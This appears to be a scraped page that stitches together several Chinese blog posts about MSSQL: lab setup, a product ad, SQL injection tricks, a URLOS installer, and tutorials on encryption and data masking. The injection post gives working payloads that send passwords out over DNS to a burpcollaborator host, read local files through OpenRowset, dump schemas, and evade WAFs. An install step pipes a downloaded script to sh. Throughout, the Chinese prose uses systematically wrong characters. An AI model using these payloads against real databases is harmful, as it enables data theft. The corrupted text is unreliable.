关于mssql:MSSQL数据漏洞环境搭建

Oracle与MSSQL数据破绽环境搭建在网络安全畛域,破绽测试是一项十分重要的工作。针对数据库方面的破绽测试,Oracle与MSSQL是两个十分风行的指标。在本文中,咱们将介绍如何搭建Oracle与MSSQL的数据破绽测试环境。 1:Oracle数据破绽环境搭建首先,咱们须要筹备一个虚拟机环境。能够应用VMware或VirtualBox等虚拟化软件创立虚拟机,而后装置Oracle数据库。倡议应用Oracle 11g版本,因为它比拟容易配置和应用。装置Oracle数据库时,请确保抉择“Enterprise Edition”选项,因为这个版本蕴含了所有性能和组件。 接下来,咱们须要装置一些工具,以便进行破绽测试。以下是必要的工具: Oracle SQL Developer:用于连贯Oracle数据库和执行SQL查问。Oracle Instant Client:是一个轻量级的客户端软件,用于连贯Oracle数据库。Oracle Database 11g Express Edition Release 2:是一个收费的Oracle数据库,用于测试和开发。实现以上步骤后,您的Oracle数据破绽环境就曾经搭建好了。接下来,您能够应用各种破绽测试工具,如Metasploit、Nessus和Burp Suite等,来测试数据库的安全性。 2:MSSQL数据破绽环境搭建MSSQL是微软公司开发的一种关系型数据库管理系统。与Oracle相似,MSSQL也是被宽泛应用的指标之一。上面是如何搭建MSSQL数据破绽测试环境的步骤: 首先,咱们须要装置一个Windows Server操作系统。您能够应用Windows Server 2016或更高版本。而后,咱们须要装置MSSQL服务器。倡议应用MSSQL Server 2017,因为它蕴含了很多新性能和安全性加强。 接下来,咱们须要装置SQL Server Management Studio(SSMS)。这是一个图形化的管理工具,用于连贯MSSQL数据库和执行SQL查问。您还须要装置Visual Studio,以便编写和运行.NET应用程序。 实现以上步骤后,您的MSSQL数据破绽环境就曾经搭建好了。您能够应用各种破绽测试工具,例如Metasploit、Nessus和Burp Suite等,来测试数据库的安全性。 总结在本文中,咱们介绍了如何搭建Oracle和MSSQL的数据破绽测试环境。请留神,这些环境仅供学习和钻研目标应用,不要将其用于非法目标。在进行破绽测试时,请始终遵循道德规范,并取得所有相干方的明确受权。

May 19, 2023 · 1 min · jiezi

关于mssql:如何使用码匠连接-Microsoft-SQL-Server

SQL Server 是 Microsoft 公司推出的关系型数据库管理系统。具备使用方便、可伸缩性好、与相干软件集成水平低等长处。Microsoft SQL Server 是一个性能全面的数据库平台,应用集成的商业智能 (BI) 工具提供了企业级的数据管理,其数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储性能,使您能够构建和治理用于业务的高可用和高性能的数据应用程序。 目前码匠曾经实现了与 Microsoft SQL Server 数据源的连贯,反对书写 SQL 语句,也反对通过图形化界面对数据进行增、删、改、查, 同时还反对将数据绑定至各种组件,并通过简略的代码实现数据的可视化和计算等操作,能让您疾速、高效地搭建利用和外部零碎。 在码匠中集成 Microsoft SQL Server步骤一:新建数据源连贯,抉择 Microsoft SQL Server 数据源,并依据提醒填写相应配置。 步骤二:新建 Microsoft SQL Server 查问, 码匠中反对 SQL 模式和 GUI 模式,让您可能更加灵便便捷地操作数据。 步骤三:书写/抉择查询方法并展现/应用查问后果。 在码匠中应用 Microsoft SQL Server操作数据在码匠中能够对 Microsoft SQL Server 数据进行增、删、改、查的操作,在 SQL 模式下能够自定义查问语句,在 GUI 模式下则有以下操作,即便对 SQL 语法不相熟也能疾速上手: 插入更新删除批量插入批量更新应用数据:这两种查问模式下,用户能够在左侧的查问面板内查看数据结构,并通过{{yourQueryName.data}}来援用查问后果:对于码匠码匠是国内一款面向开发者的低代码平台,咱们为将您提供一种更便捷的数据可视化形式。相较于国外开发的 HRM/Admin/CRM/CMS 等后盾工具,咱们的 UI 界面设计更加适宜国内业务场景。同时咱们还整合了多款国内常见数据源,包含飞书、企业微信、钉钉、阿里云 OSS 等。不仅如此,咱们还一站式提供了企业外部零碎罕用的租户治理、细粒度的权限管制、审计日志等性能,让您疾速搭建后盾利用的同时,也为您的企业信息安全保驾护航。 咱们的开创团队来自谷歌、快手、百度等公司,深刻理解疾速迭代的软件系统对业务的重要性和当下软件开发的复杂性,咱们认为在将来软件不会是从零开发的,于是咱们从新思考,发明新的工具,帮忙公司更好更快地开发软件。 想要理解更多,欢送来亲自摸索! 仍有疑难:https://majiang.co/docs/database/ms-SQL-server立刻试用:https://majiang.co/

February 28, 2023 · 1 min · jiezi

关于mssql:高级的MSSQL注入技巧

tl;dr本文列举了几种改良的MSSQL注入技巧,所有的攻打向量都至多在三个最新版本的Microsoft SQL Server上进行了测试:2019、2017、2016SP2。 DNS Out-of-Band如果遇到带有禁用堆栈查问的齐全盲SQL注入,则能够通过函数 fn_xe_file_target_read_file, fn_get_audit_file,和fn_trace_gettable实现DNS带外(OOB)数据泄露。利用fn_xe_file_target_read_file()的例子: https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:*.xel',''%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net1.xem',null,null)) 权限:须要管制服务器权限。fn_trace_gettable()例子: https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable(''%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net1.trc',default)) 权限:须要管制服务器权限。 Alternative Error-Based vectors基于谬误的SQL注入通常相似于«+AND+1=@@version–»等构造,以及基于«OR»操作符的变体。蕴含此类表达式的查问通常会被WAF阻止。为了绕过,能够应用%2b字符将字符串与特定函数调用的后果连接起来,该函数调用会在须要的数据上触发数据类型转换谬误。特定函数的例子: SUSER_NAME()USER_NAME()PERMISSIONS()DB_NAME()FILE_NAME()TYPE_NAME()COL_NAME()USER_NAME():的例子 https://vuln.app/getItem?id=1'%2buser_name(@@version)-- 疾速利用:在一个查问中检索整个表有两种简略的办法能够在一个查问中检索表的全部内容-应用FOR XML或FOR JSON子句。FOR XML子句须要指定的模式,如«raw»,因而JSON比拟简洁。从以后数据库检索架构、表和列的查问: https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto-- 基于谬误的攻打向量须要别名或名称,因为没有别名或名称的表达式的输入不能格式化为JSON。 https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)-- Reading local files应用OpenRowset()函数检索本地文件C:Windowswin.ini的例子: https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+’C:Windowswin.ini’,SINGLE_CLOB)+R(x)),null,null 基于谬误的payload https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:Windowswin.ini',SINGLE_CLOB)+R(x))--权限:BULK选项须要“ADMINISTER BULK OPERATIONS ”或“ADMINISTER DATABASE BULK OPERATIONS”权限。 检索以后查问能够从Access sys.dm_exec_Requests和sys.dm_exec_sql_text中检索以后正在执行的SQL查问: https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null 权限:如果user在服务器上领有VIEW SERVER STATE权限,则用户将看到SQL Server实例上正在执行的所有会话;否则,user将仅看到以后会话。 绕过WAF的小技巧一些特殊字符 %C2%85 %C2%A0: https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--迷信(0E)和十六进制(0x)表示法: https://vuln.app/getItem?id=0eunion+select+null,@@version,null--https://vuln.app/getItem?id=0xunion+select+null,@@version,null--在From和列名之间应用句号代替空格: https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--N分隔符: https://vuln.app/getItem?id=0xunion+selectNnull,@@version,null+from+users--原文:https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/

December 4, 2020 · 1 min · jiezi

Linux下使用URLOS安装SqlServer2017

SqlServer能在Linux上安装吗?答案是可以!网络上也能找到很多Linux系统下安装SqlServer的相关文章,也许经过一些折腾,你也能成功在linux中安装sqlserver,但是其中可能会遇到非常多的坑。 今天我们介绍一种更高效的安装方法,那就是通过urlos一键安装SqlServer。urlos是什么? URLOS是一个云主机管理软件,基于Docker容器技术打包和运行应用,包含负载均衡和故障转移等高级功能,可自动识别机器和云应用的故障并将云应用转移至可用的机器上,单机故障并不影响业务开展。 你可以使用以下命令安装URLOS: curl -LO www.urlos.com/iu && sh iu在此不讨论URLOS的使用方法,感兴趣的朋友请自行搜索,我们直接来看URLOS如何快速安装SqlServer: 登录URLOS系统后台,在应用市场中搜索“mssql”,找到之后,直接点击安装按钮:在基本信息中填写服务名称等相关信息,端口号默认即可在数据库设置里我们填写SA用户的密码,模式暂且选择开发模式,然后点击提交即可提交后,系统立即开始部署应用了,因为sqlsever程序体积比较大,部署过程可能时间需要长一些,我们需要耐心等待一下。 部署完成后,我们可以使用windows中的mssql客户端进行连接,默认使用的用户名是sa账户,密码就是自己设置的密码。这里我们使用SqlDbx进行简单的连接测试:连接成功,我们的安装的SqlServer正常运行中。 通过以上几个步骤可以看到,在Linux下通过URLOS安装SqlServer简直太容易了。

July 6, 2019 · 1 min · jiezi

MSSQL最佳实践Always-Encrypted

摘要在SQL Server安全系列专题月报分享中,往期我们已经陆续分享了:如何使用对称密钥实现SQL Server列加密技术、使用非对称密钥实现SQL Server列加密、使用混合密钥实现SQL Server列加密技术、列加密技术带来的查询性能问题以及相应解决方案、行级别安全解决方案、SQL Server 2016 dynamic data masking实现隐私数据列打码技术和使用证书做数据库备份加密这七篇文章,直接点击以上文章前往查看详情。本期月报我们分享SQL Server 2016新特性Always Encrypted技术。 问题引入在云计算大行其道的如今,有没有一种方法保证存储在云端的数据库中数据永远保持加密状态,即便是云服务提供商也看不到数据库中的明文数据,以此来保证客户云数据库中数据的绝对安全呢?答案是肯定的,就是我们今天将要谈到的SQL Server 2016引入的始终加密技术(Always Encrypted)。使用SQL Server Always Encrypted,始终保持数据处于加密状态,只有调用SQL Server的应用才能读写和操作加密数据,如此您可以避免数据库或者操作系统管理员接触到客户应用程序敏感数据。SQL Server 2016 Always Encrypted通过验证加密密钥来实现了对客户端应用的控制,该加密密钥永远不会通过网络传递给远程的SQL Server服务端。因此,最大限度保证了云数据库客户数据安全,即使是云服务提供商也无法准确获知用户数据明文。 具体实现SQL Server 2016引入的新特性Always Encrypted让用户数据在应用端加密、解密,因此在云端始终处于加密状态存储和读写,最大限制保证用户数据安全,彻底解决客户对云服务提供商的信任问题。以下是SQL Server 2016 Always Encrypted技术的详细实现步骤。 创建测试数据库为了测试方便,我们首先创建了测试数据库AlwaysEncrypted。 --Step 1 - Create MSSQL sample databaseUSE masterGOIF DB_ID('AlwaysEncrypted') IS NULL CREATE DATABASE [AlwaysEncrypted];GO-- Not 100% require, but option adviced.ALTER DATABASE [AlwaysEncrypted] COLLATE Latin1_General_BIN2;创建列主密钥其次,在AlwaysEncrypted数据库中,我们创建列主密钥(Column Master Key,简写为CMK)。 -- Step 2 - Create a column master keyUSE [AlwaysEncrypted]GOCREATE COLUMN MASTER KEY [AE_ColumnMasterKey]WITH( KEY_STORE_PROVIDER_NAME = N'MSSQL_CERTIFICATE_STORE', KEY_PATH = N'CurrentUser/My/C3C1AFCDA7F2486A9BBB16232A052A6A1431ACB0')GO创建列加密密钥然后,我们创建列加密密钥(Column Encryption Key,简写为CEK)。 ...

April 25, 2019 · 4 min · jiezi

MSSQL实践-数据库备份加密

摘要在SQL Server安全系列专题月报分享中,我们已经分享了:如何使用对称密钥实现SQL Server列加密技术、使用非对称密钥实现SQL Server列加密、使用混合密钥实现SQL Server列加密技术、列加密技术带来的查询性能问题以及相应解决方案、行级别安全解决方案和SQL Server 2016 dynamic data masking实现隐私数据列打码技术这六篇文章,文章详情可以参见往期月报。本期月报我们分享使用证书做数据库备份加密的最佳实践。问题引入谈及数据库安全性问题,如何预防数据库备份文件泄漏,如何防止脱库安全风险,是一个非常重要的安全防范课题。这个课题的目的是万一用户数据库备份文件泄漏,也要保证用户数据的安全。在SQL Server中,2014版本之前,业界均采用的TDE技术来实现与防范脱库行为,但是TDE的原理是需要将用户所有的数据进行加密后落盘,读取时解密。这种写入时加密,读取时解密的行为,必然会导致用户查询性能的降低和CPU使用率的上升(具体对性能和CPU影响,可以参见这片测试文章SQL Server Transparent Data Encryption (TDE) Performance Comparison)。那么,我们一个很自然的问题是:有没有一种技术,既可以保证备份文件的安全,又能够兼顾到用户查询性能和CPU资源的消耗呢?这个技术就是我们今天要介绍的数据库备份加密技术,该技术是SQL Server 2014版本首次引入,企业版本和标准版支持备份加密,Web版和Express版支持备份加密文件的还原。具体实现创建测试数据库为了测试方便,我们专门创建了测试数据库BackupEncrypted。– create test databaseIF DB_ID(‘BackupEncrypted’) IS NOT NULL DROP DATABASE BackupEncryptedGOCREATE DATABASE BackupEncryptedON PRIMARY(NAME = BackupEncrypted_data, FILENAME = N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’, SIZE = 100MB, FILEGROWTH = 10MB),FILEGROUP SampleDB_MemoryOptimized_filegroup CONTAINS MEMORY_OPTIMIZED_DATA ( NAME = BackupEncrypted_MemoryOptimized, FILENAME = N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’)LOG ON ( NAME = BackupEncrypted_log, FILENAME = N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’, SIZE = 100MB, FILEGROWTH = 10MB)GO创建测试表在测试数据库下,创建一张用于测试的表testTable,并插入一条随机数据。USE [BackupEncrypted]GO– create test table and insert one recordIF OBJECT_ID(‘dbo.testTable’, ‘U’) IS NOT NULL DROP TABLE dbo.testTableGOCREATE TABLE dbo.testTable( id UNIQUEIDENTIFIER default NEWID(), parent_id UNIQUEIDENTIFIER default NEWSEQUENTIALID());GOSET NOCOUNT ON;INSERT INTO dbo.testTable DEFAULT VALUES;GOSELECT * FROM dbo.testTable ORDER BY id;该条数据内容如下截图:创建Master Key和证书创建Master Key和证书,用于加密数据库备份文件。USE masterGO– If the master key is not available, create it. IF NOT EXISTS (SELECT * FROM sys.symmetric_keys WHERE name LIKE ‘%MS_DatabaseMasterKey%’) BEGIN CREATE MASTER KEY ENCRYPTION BY PASSWORD = ‘MasterKey*’; END GOUSE masterGO– create certificateCREATE CERTIFICATE MasterCert_BackupEncryptedAUTHORIZATION dboWITH SUBJECT = ‘Backup encryption master certificate’,START_DATE = ‘02/10/2017’,EXPIRY_DATE = ‘12/30/9999’GO备份证书首先,将证书和证书密钥文件备份到本地,最好它们脱机保存到第三方主机,以免主机意外宕机,导致证书文件丢失,从而造成已加密的备份文件无法还原的悲剧。USE masterGOEXEC sys.xp_create_subdir ‘C:\Tmp’– then backup it up to local pathBACKUP CERTIFICATE MasterCert_BackupEncrypted TO FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.cer’WITH PRIVATE KEY ( FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.key’, ENCRYPTION BY PASSWORD = ‘aa11@@AA’);加密完全备份创建完Master Key和证书文件后,我们就可以做数据库完全备份加密操作。USE master;GO– do full backup database with encryptionBACKUP DATABASE [BackupEncrypted] TO DISK = N’C:\Tmp\BackupEncrypted_FULL.bak’ WITH COMPRESSION, ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = MasterCert_BackupEncrypted), STATS = 10;GO加密差异备份数据库差异备份加密,备份操作前,我们插入一条数据,以供后续的测试数据校验。USE [BackupEncrypted]GO– insert another recordSET NOCOUNT ON;INSERT INTO dbo.testTable DEFAULT VALUES;GOSELECT * FROM dbo.testTable ORDER BY id;USE master;GO–Differential backup with encryptionBACKUP DATABASE [BackupEncrypted]TO DISK = N’C:\Tmp\BackupEncrypted_DIFF.bak’WITH CONTINUE_AFTER_ERROR,ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = MasterCert_BackupEncrypted), STATS = 10, DIFFERENTIAL;GO差异备份操作前,校验表中的两条数据如下图所示:加密日志备份数据库事物日志备份加密,备份前,我们照样插入一条数据,以供后续测试数据校验。USE BackupEncryptedGO– insert another recordSET NOCOUNT ON;INSERT INTO dbo.testTable DEFAULT VALUES;GOSELECT * FROM dbo.testTable ORDER BY id;USE master;GO– backup transaction log with encryptionBACKUP LOG [BackupEncrypted]TO DISK = N’C:\Tmp\BackupEncrypted_log.trn’WITH CONTINUE_AFTER_ERROR,ENCRYPTION ( ALGORITHM = AES_256, SERVER CERTIFICATE = MasterCert_BackupEncrypted), STATS = 10;GO日志备份操作前,校验表中的三条数据如下图所示:查看备份历史数据完全备份、差异备份和日志备份结束后,查看备份历史记录。use msdbGO– check backupsSELECT b.database_name, b.key_algorithm, b.encryptor_thumbprint, b.encryptor_type, b.media_set_id, m.is_encrypted, b.type, m.is_compressed, bf.physical_device_nameFROM dbo.backupset bINNER JOIN dbo.backupmediaset m ON b.media_set_id = m.media_set_idINNER JOIN dbo.backupmediafamily bf on bf.media_set_id=b.media_set_idWHERE database_name = ‘BackupEncrypted’ORDER BY b.backup_start_date DESC备份历史信息展示如下:从截图中数据我们可以看出,三种备份都采用了证书做备份加密。查看备份文件信息备份历史检查完毕后,在清理测试环境之前,检查备份文件元数据信息,可以成功查看,没有任何报错。USE masterGO– before clean environment, try to get backup files meta info, will be successRESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’展示结果部分截图如下:清理环境清理环境目的是模拟在一台全新实例上还原数据库备份文件。use masterGO– let’s try to simulate a database crash, here we just drop this database.DROP DATABASE [BackupEncrypted];GO– and clean certificate and master key to simulate restore to a new instance.DROP CERTIFICATE MasterCert_BackupEncrypted;GODROP MASTER KEY;GO再次查看备份文件信息清理掉证书和Master Key后,再次查看备份文件信息,此时会报错。因为数据库备份文件已经加密。这种报错是我们所预期的,即就算我们的数据库备份文件被脱库泄漏,我们的数据也可以保证绝对安全,而不会非预期的还原回来。USE masterGO– try to get backup files meta info again after clean environment, will be not success now.RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’报错信息类似如下:Msg 33111, Level 16, State 3, Line 178Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 178RESTORE FILELIST is terminating abnormally.Msg 33111, Level 16, State 3, Line 179Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 179RESTORE HEADERONLY is terminating abnormally.Msg 33111, Level 16, State 3, Line 181Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 181RESTORE FILELIST is terminating abnormally.Msg 33111, Level 16, State 3, Line 182Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 182RESTORE HEADERONLY is terminating abnormally.Msg 33111, Level 16, State 3, Line 184Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 184RESTORE FILELIST is terminating abnormally.Msg 33111, Level 16, State 3, Line 185Cannot find server certificate with thumbprint ‘0xA938CE32CC86DFA6EAD2AED9429814F1A4C683ED’.Msg 3013, Level 16, State 1, Line 185RESTORE HEADERONLY is terminating abnormally.部分错误信息截图如下:还原证书文件数据库备份加密,可以有效防止脱库泄漏的安全风险。当然,合法用户需要在新实例上成功还原加密备份文件。首先,创建Master Key;然后,从证书备份文件中,重新创建证书。USE masterGO– so we have to re-create master key, the certificate and open the IF NOT EXISTS (SELECT * FROM sys.symmetric_keys WHERE name LIKE ‘%MS_DatabaseMasterKey%’) BEGIN CREATE MASTER KEY ENCRYPTION BY PASSWORD = ‘MasterKey*’; END GOuse masterGO– re-create certificateCREATE CERTIFICATE MasterCert_BackupEncryptedFROM FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.cer’WITH PRIVATE KEY (FILE = ‘C:\Tmp\MasterCert_BackupEncrypted.key’,DECRYPTION BY PASSWORD = ‘aa11@@AA’);GO检查备份文件信息校验备份文件信息,已经可以正确读取。USE masterGO– after re-create certificate, try to get backup files meta info again, will be success.RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_FULL.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_DIFF.bak’RESTORE FILELISTONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’RESTORE HEADERONLY FROM DISK=‘C:\Tmp\BackupEncrypted_log.trn’还原已加密完全备份文件首先,尝试还原数据库完全备份文件,成功。USE [master]– restore encrypted full backupRESTORE DATABASE [BackupEncrypted] FROM DISK = N’C:\Tmp\BackupEncrypted_FULL.bak’ WITH FILE = 1, MOVE ‘BackupEncrypted_data’ TO N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’,MOVE ‘BackupEncrypted_MemoryOptimized’ TO N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’,MOVE ‘BackupEncrypted_log’ TO N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’,NOUNLOAD, STATS = 5, NORECOVERYGO还原已加密差异备份文件其次,尝试还原数据库差异备份文件,成功。– Restore encrypted diff backupRESTORE DATABASE [BackupEncrypted] FROM DISK = N’C:\Tmp\BackupEncrypted_DIFF.bak’ WITH FILE = 1, MOVE ‘BackupEncrypted_data’ TO N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’,MOVE ‘BackupEncrypted_MemoryOptimized’ TO N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’,MOVE ‘BackupEncrypted_log’ TO N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’,NOUNLOAD, STATS = 5, NORECOVERYGO还原已加密日志备份文件再次,尝试还原数据库日志备份文件,成功。– restore encrypted transaction log backupRESTORE LOG [BackupEncrypted] FROM DISK = N’C:\Tmp\BackupEncrypted_log.trn’ WITH FILE = 1, MOVE ‘BackupEncrypted_data’ TO N’E:\SQLDATA\DATA\BackupEncrypted_data.mdf’,MOVE ‘BackupEncrypted_MemoryOptimized’ TO N’E:\SQLDATA\DATA\BackupEncrypted_MemoryOptimized’,MOVE ‘BackupEncrypted_log’ TO N’E:\SQLDATA\DATA\BackupEncrypted_log.ldf’,NOUNLOAD, STATS = 10GO检查测试表数据最后,检查测试表的三条测试数据。USE [BackupEncrypted]GO– double check the three recordsSELECT * FROM dbo.testTable ORDER BY id;三条校验数据一致。清理测试环境清理掉我们的测试环境。use masterGO– clean up the environmentDROP DATABASE BackupEncrypted;GODROP CERTIFICATE MasterCert_BackupEncrypted;GODROP MASTER KEY;GO最后总结本期月报我们分享了SQL Server 2014及以上版本如何使用证书实现数据库备份加密技术,在防范脱库安全风险的同时,既能够比较好的保证用户查询性能,又不会带来额外CPU资源的消耗。参考文章SQL Server Transparent Data Encryption (TDE) Performance ComparisonSQLServer · 最佳实践 · 透明数据加密TDE在SQLServer的应用开启TDE的RDS SQL Server还原到本地环境Understanding Database Backup Encryption in SQL Server本文作者:风移阅读原文本文为云栖社区原创内容,未经允许不得转载。 ...

March 28, 2019 · 4 min · jiezi

MSSQL - 最佳实践 - 如何打码隐私数据列

摘要在SQL Server安全系列专题月报分享中,我们已经分享了:如何使用对称密钥实现SQL Server列加密技术、使用非对称密钥加密方式实现SQL Server列加密、使用混合密钥实现SQL Server列加密技术、列加密技术带来的查询性能问题以及相应解决方案和行级别安全解决方案这五篇文章,文章详情可以参见往期月报。本期月报我们分享使用SQL Server 2016 dynamic data masking实现隐私数据列的打码技术最佳实践。问题引入在平日的生活中,我们或多或少都经历过广告推销、电话诈骗,不厌其烦,甚至更为严重到银行卡号泄漏、身份证号泄漏等更为严重的情况。这个时候,于是我们就在想有没有技术手段来尽量或最大限度的保护我们隐私数据安全呢?答案是肯定的,SQL Server 2016版本首次引入了dynamic data masking来实现隐私数据列的打码技术,让我们一起来看看如何实现类似于手机号、身份证号、驾照号等隐私数据打码技术。原理分析数据列打码技术的本身我们并不陌生,就是将一些比较私密的数据信息隐藏起来,仅开放给有较高权限的用户查看完整数据。打码技术本身并不会对数据做任何的加密、解密等操作。严格意义上讲,数据打码不是一个完整的数据安全解决方案,但是它可以作为安全策略中重要的一环来有效避免用户隐私数据列的泄漏。让我们一起来看看在SQL Server 2016 dynamic data masking是如何实现的。实现方法创建测试数据库为了测试方便,我们专门创建了测试数据库TestDb。–Step 1 - Create MSSQL sample databaseUSE masterGOIF DB_ID(‘TestDb’) IS NULL CREATE DATABASE [TestDb];GO创建测试表首先,我们创建一张常规表CustomerInfo,来存放客户信息,其中,CustomerPhone列为用户隐私数据,存放了用户的手机号码。–Step 2 - Create Test Table, init recordsUSE [TestDb]GOIF OBJECT_ID(‘dbo.CustomerInfo’, ‘U’) IS NOT NULL DROP TABLE dbo.CustomerInfoCREATE TABLE dbo.CustomerInfo(CustomerId INT IDENTITY(10000,1) NOT NULL PRIMARY KEY,CustomerName VARCHAR(100) NOT NULL,CustomerPhone CHAR(11) NOT NULL);– Init TableINSERT INTO dbo.CustomerInfo VALUES (‘CustomerA’,‘13402872514’),(‘CustomerB’,‘13880674722’),(‘CustomerC’,‘13487759293’)GO创建测试用户为了方便观察和检查测试效果,我们创建一个测试账号DemoUser。– Step3: Create a DemoUser to testUSE [TestDb]GOCREATE USER DemoUser WITHOUT LOGIN;GRANT SELECT ON dbo.CustomerInfo TO DemoUser;GOEXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * FROM dbo.CustomerInfoREVERT常规情况下,测试账号,可以清清楚楚,明明白白看到用户所有数据,包含客户手机号这种关键的隐私数据。如果,这个用户有不轨之心是非常容易将这些信息泄漏、导出的,安全风险较大。客户手机号打码于是,我们想,如果能够将客户隐私数据,比如,电话号码(身份证号码、银行卡号等)打码的话,那么测试账号就无法查看到用户完整的数据信息了。打码方法如下:– Step4: Alter phone column add data maskUSE [TestDb]GOALTER TABLE dbo.CustomerInfoALTER COLUMN CustomerPhone ADD MASKED WITH(FUNCTION=‘partial(3, “****”, 4)’);由于CustomerPhone是11位数字,我们使用partial方法打码隐藏中间四位,打码符号使用星号,保留前三位和后四位数数字即可。查询打码列打码完毕,我们使用系统试图查看打码列和打码函数:– Step5. Query system view to check data maskSELECT db_name() as database_name, SCHEMA_NAME(schema_id) AS schema_name, tbl.name as table_name, c.name as column_name, c.is_masked, c.masking_function FROM sys.masked_columns AS c WITH (NOLOCK) INNER JOIN sys.tables AS tbl WITH(NOLOCK) ON c.[object_id] = tbl.[object_id] WHERE c.is_masked = 1 AND tbl.name = ‘CustomerInfo’;从结果可以看到我们已经将表TestDb.dbo.CustomerInfo中字段CustomerPhone打码,打码函数为partial(3, “**”, 4),结果展示如下所示:测试用户查看数据打码完毕后,再次使用DemoUser测试账号查看打码后的数据:– Step6: Demo user to query and verify dataUSE [TestDb]GOEXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * FROM dbo.CustomerInfoREVERT从查询结果展示来看,客户手机号码列中间四位已经成功打码了,测试账号已经无法获取到完整的客户电话号码了。修改打码符号有时候,有的人会说,我不喜欢星号,能否换个打码姿势,我更喜欢使用字母X。只要你喜欢,随便切换,方法如下:– Step7: What if I want to change the mask sign from * to XUSE [TestDb]GOALTER TABLE dbo.CustomerInfoALTER COLUMN CustomerPhone CHAR(11) MASKED WITH(FUNCTION=‘partial(3, “XXXX”, 4)’);现在打码符号变成了X,展示如下:新增隐私打码列现在我们需要增加一个新的列,用来存放用户email地址,也请同时打码。非常简单,新增列的时候使用email打码函数即可,如下所示:– Step8: and I want to add a new email mask columnALTER TABLE dbo.CustomerInfoADD Email varchar(100) MASKED WITH (FUNCTION = ’email()’) NOT NULL DEFAULT(‘demo.user@test.com’)查询打码列特定值有的人可能会问,手机号码被打码了,这个列会影响我的WHERE语句查询吗?当然不会,因为data mask技术本身并没有对数据做任何修改,只是在展示的时候,打码隐藏掉部分信息而已。– Step9: Demo user to query the specified phone customer infoUSE [TestDb]GOEXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * FROM dbo.CustomerInfoWHERE CustomerPhone = ‘13880674722’REVERT查询结果展示,手机号码和email地址始终被打码。拷贝存在打码列的表我们说data mask技术并没有加密、修改数据本身。到目前为止,测试账号DemoUser已经无法获取到客人的关键隐私数据了,那么他能够将用户数据Copy、导出吗?让我们做一个简单的测试,DemoUser将表CustomerInfo复制到一个新表CustomerInfo_copied中:– Step10: Ops, if I copy a new table from the data masked table, I can’t get the unmasked data now.USE [TestDb]GOGRANT CREATE TABLE TO DemoUser;GRANT ALTER ON SCHEMA::dbo TO DemoUser;EXECUTE AS USER = ‘DemoUser’;– Verify dataSELECT * INTO dbo.CustomerInfo_copiedFROM dbo.CustomerInfoREVERTGRANT SELECT ON 